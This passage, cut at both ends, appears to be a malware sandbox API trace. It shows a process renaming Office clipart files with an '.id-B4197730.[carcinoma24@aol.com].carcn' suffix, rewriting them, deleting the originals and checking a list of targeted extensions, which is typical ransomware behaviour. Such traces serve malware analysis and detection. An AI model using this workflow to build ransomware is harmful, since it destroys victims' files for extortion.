Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0264.918] GetLastError () returned 0x0 [0264.918] ReadFile (in: hFile=0x544, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x34cb, lpOverlapped=0x0) returned 1 [0265.003] WriteFile (in: hFile=0x55c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x34d0, lpOverlapped=0x0) returned 1 [0265.004] ReadFile (in: hFile=0x544, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0265.004] WriteFile (in: hFile=0x55c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0265.004] SetEndOfFile (hFile=0x55c) returned 1 [0265.004] CloseHandle (hObject=0x55c) returned 1 [0265.006] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.006] SetEndOfFile (hFile=0x544) returned 1 [0265.036] CloseHandle (hObject=0x544) returned 1 [0265.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0265.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 1 [0265.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0265.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0265.046] lstrlenW (lpString=".doc") returned 4 [0265.046] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0265.046] lstrlenW (lpString=".docx") returned 5 [0265.046] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0265.046] lstrlenW (lpString=".pdf") returned 4 [0265.046] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0265.046] lstrlenW (lpString=".xls") returned 4 [0265.046] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0265.046] lstrlenW (lpString=".xlsx") returned 5 [0265.046] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0265.046] lstrlenW (lpString=".ppt") returned 4 [0265.046] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0265.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0265.046] lstrlenW (lpString=".zip") returned 4 [0265.046] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0265.046] lstrlenW (lpString=".rar") returned 4 [0265.046] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0265.046] lstrlenW (lpString=".bz2") returned 4 [0265.046] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0265.046] lstrlenW (lpString=".7z") returned 3 [0265.046] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0265.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0265.046] lstrlenW (lpString=".dbf") returned 4 [0265.046] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0265.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0265.047] lstrlenW (lpString=".1cd") returned 4 [0265.047] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0265.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0265.047] lstrlenW (lpString=".jpg") returned 4 [0265.047] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0265.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0265.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0265.047] lstrlenW (lpString=".doc") returned 4 [0265.047] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0265.047] lstrlenW (lpString=".docx") returned 5 [0265.047] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0265.047] lstrlenW (lpString=".pdf") returned 4 [0265.047] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0265.047] lstrlenW (lpString=".xls") returned 4 [0265.047] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0265.047] lstrlenW (lpString=".xlsx") returned 5 [0265.047] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0265.047] lstrlenW (lpString=".ppt") returned 4 [0265.047] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0265.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0265.047] lstrlenW (lpString=".zip") returned 4 [0265.047] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0265.047] lstrlenW (lpString=".rar") returned 4 [0265.047] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0265.047] lstrlenW (lpString=".bz2") returned 4 [0265.048] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0265.048] lstrlenW (lpString=".7z") returned 3 [0265.048] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0265.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0265.048] lstrlenW (lpString=".dbf") returned 4 [0265.048] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0265.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0265.048] lstrlenW (lpString=".1cd") returned 4 [0265.048] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0265.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0265.048] lstrlenW (lpString=".jpg") returned 4 [0265.048] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0265.048] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0265.048] lstrlenW (lpString="BD10972_.GIF") returned 12 [0265.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0265.766] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=20189) returned 1 [0265.766] CloseHandle (hObject=0x54c) returned 1 [0265.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 0x220 [0265.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0265.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0265.767] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.767] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0265.767] GetLastError () returned 0x0 [0265.767] ReadFile (in: hFile=0x54c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x4edd, lpOverlapped=0x0) returned 1 [0265.781] WriteFile (in: hFile=0x4bc, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x4ee0, lpOverlapped=0x0) returned 1 [0265.782] ReadFile (in: hFile=0x54c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0265.782] WriteFile (in: hFile=0x4bc, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0265.782] SetEndOfFile (hFile=0x4bc) returned 1 [0265.783] CloseHandle (hObject=0x4bc) returned 1 [0265.785] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.785] SetEndOfFile (hFile=0x54c) returned 1 [0265.788] CloseHandle (hObject=0x54c) returned 1 [0265.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0265.788] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 1 [0265.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0265.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0265.789] lstrlenW (lpString=".doc") returned 4 [0265.789] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0265.789] lstrlenW (lpString=".docx") returned 5 [0265.789] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0265.789] lstrlenW (lpString=".pdf") returned 4 [0265.789] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0265.789] lstrlenW (lpString=".xls") returned 4 [0265.789] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0265.789] lstrlenW (lpString=".xlsx") returned 5 [0265.789] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0265.789] lstrlenW (lpString=".ppt") returned 4 [0265.789] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0265.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0265.789] lstrlenW (lpString=".zip") returned 4 [0265.789] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0265.789] lstrlenW (lpString=".rar") returned 4 [0265.789] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0265.790] lstrlenW (lpString=".bz2") returned 4 [0265.790] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0265.790] lstrlenW (lpString=".7z") returned 3 [0265.790] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0265.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0265.790] lstrlenW (lpString=".dbf") returned 4 [0265.790] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0265.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0265.790] lstrlenW (lpString=".1cd") returned 4 [0265.790] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0265.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0265.790] lstrlenW (lpString=".jpg") returned 4 [0265.790] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0265.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0265.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0265.790] lstrlenW (lpString=".doc") returned 4 [0265.790] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0265.790] lstrlenW (lpString=".docx") returned 5 [0265.790] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0265.790] lstrlenW (lpString=".pdf") returned 4 [0265.790] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0265.790] lstrlenW (lpString=".xls") returned 4 [0265.790] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0265.790] lstrlenW (lpString=".xlsx") returned 5 [0265.791] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0265.791] lstrlenW (lpString=".ppt") returned 4 [0265.791] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0265.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0265.791] lstrlenW (lpString=".zip") returned 4 [0265.791] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0265.791] lstrlenW (lpString=".rar") returned 4 [0265.791] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0265.791] lstrlenW (lpString=".bz2") returned 4 [0265.791] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0265.791] lstrlenW (lpString=".7z") returned 3 [0265.791] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0265.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0265.791] lstrlenW (lpString=".dbf") returned 4 [0265.791] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0265.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0265.791] lstrlenW (lpString=".1cd") returned 4 [0265.791] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0265.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0265.791] lstrlenW (lpString=".jpg") returned 4 [0265.791] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0265.791] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0265.791] lstrlenW (lpString="BL00105_.WMF") returned 12 [0265.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0265.792] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=880) returned 1 [0265.792] CloseHandle (hObject=0x54c) returned 1 [0265.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 0x220 [0265.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0265.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0265.793] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.793] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0265.793] GetLastError () returned 0x0 [0265.793] ReadFile (in: hFile=0x54c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x370, lpOverlapped=0x0) returned 1 [0265.810] WriteFile (in: hFile=0x4bc, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x380, lpOverlapped=0x0) returned 1 [0265.811] ReadFile (in: hFile=0x54c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0265.811] WriteFile (in: hFile=0x4bc, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0265.811] SetEndOfFile (hFile=0x4bc) returned 1 [0265.811] CloseHandle (hObject=0x4bc) returned 1 [0265.815] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.815] SetEndOfFile (hFile=0x54c) returned 1 [0265.818] CloseHandle (hObject=0x54c) returned 1 [0265.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0265.818] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 1 [0265.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0265.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0265.819] lstrlenW (lpString=".doc") returned 4 [0265.819] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.819] lstrlenW (lpString=".docx") returned 5 [0265.819] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.819] lstrlenW (lpString=".pdf") returned 4 [0265.819] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.819] lstrlenW (lpString=".xls") returned 4 [0265.819] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.819] lstrlenW (lpString=".xlsx") returned 5 [0265.819] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.819] lstrlenW (lpString=".ppt") returned 4 [0265.819] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0265.819] lstrlenW (lpString=".zip") returned 4 [0265.819] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.819] lstrlenW (lpString=".rar") returned 4 [0265.820] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.820] lstrlenW (lpString=".bz2") returned 4 [0265.820] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.820] lstrlenW (lpString=".7z") returned 3 [0265.820] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0265.820] lstrlenW (lpString=".dbf") returned 4 [0265.820] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0265.820] lstrlenW (lpString=".1cd") returned 4 [0265.820] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0265.820] lstrlenW (lpString=".jpg") returned 4 [0265.820] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0265.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0265.820] lstrlenW (lpString=".doc") returned 4 [0265.820] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.820] lstrlenW (lpString=".docx") returned 5 [0265.820] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.820] lstrlenW (lpString=".pdf") returned 4 [0265.820] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.820] lstrlenW (lpString=".xls") returned 4 [0265.820] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.820] lstrlenW (lpString=".xlsx") returned 5 [0265.820] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.820] lstrlenW (lpString=".ppt") returned 4 [0265.820] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0265.820] lstrlenW (lpString=".zip") returned 4 [0265.820] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.820] lstrlenW (lpString=".rar") returned 4 [0265.821] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.821] lstrlenW (lpString=".bz2") returned 4 [0265.821] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.821] lstrlenW (lpString=".7z") returned 3 [0265.821] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0265.821] lstrlenW (lpString=".dbf") returned 4 [0265.821] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0265.821] lstrlenW (lpString=".1cd") returned 4 [0265.821] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0265.821] lstrlenW (lpString=".jpg") returned 4 [0265.821] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.821] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0265.821] lstrlenW (lpString="BL00130_.WMF") returned 12 [0265.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0265.823] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=1464) returned 1 [0265.823] CloseHandle (hObject=0x554) returned 1 [0265.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x220 [0265.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0265.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0265.824] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.824] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 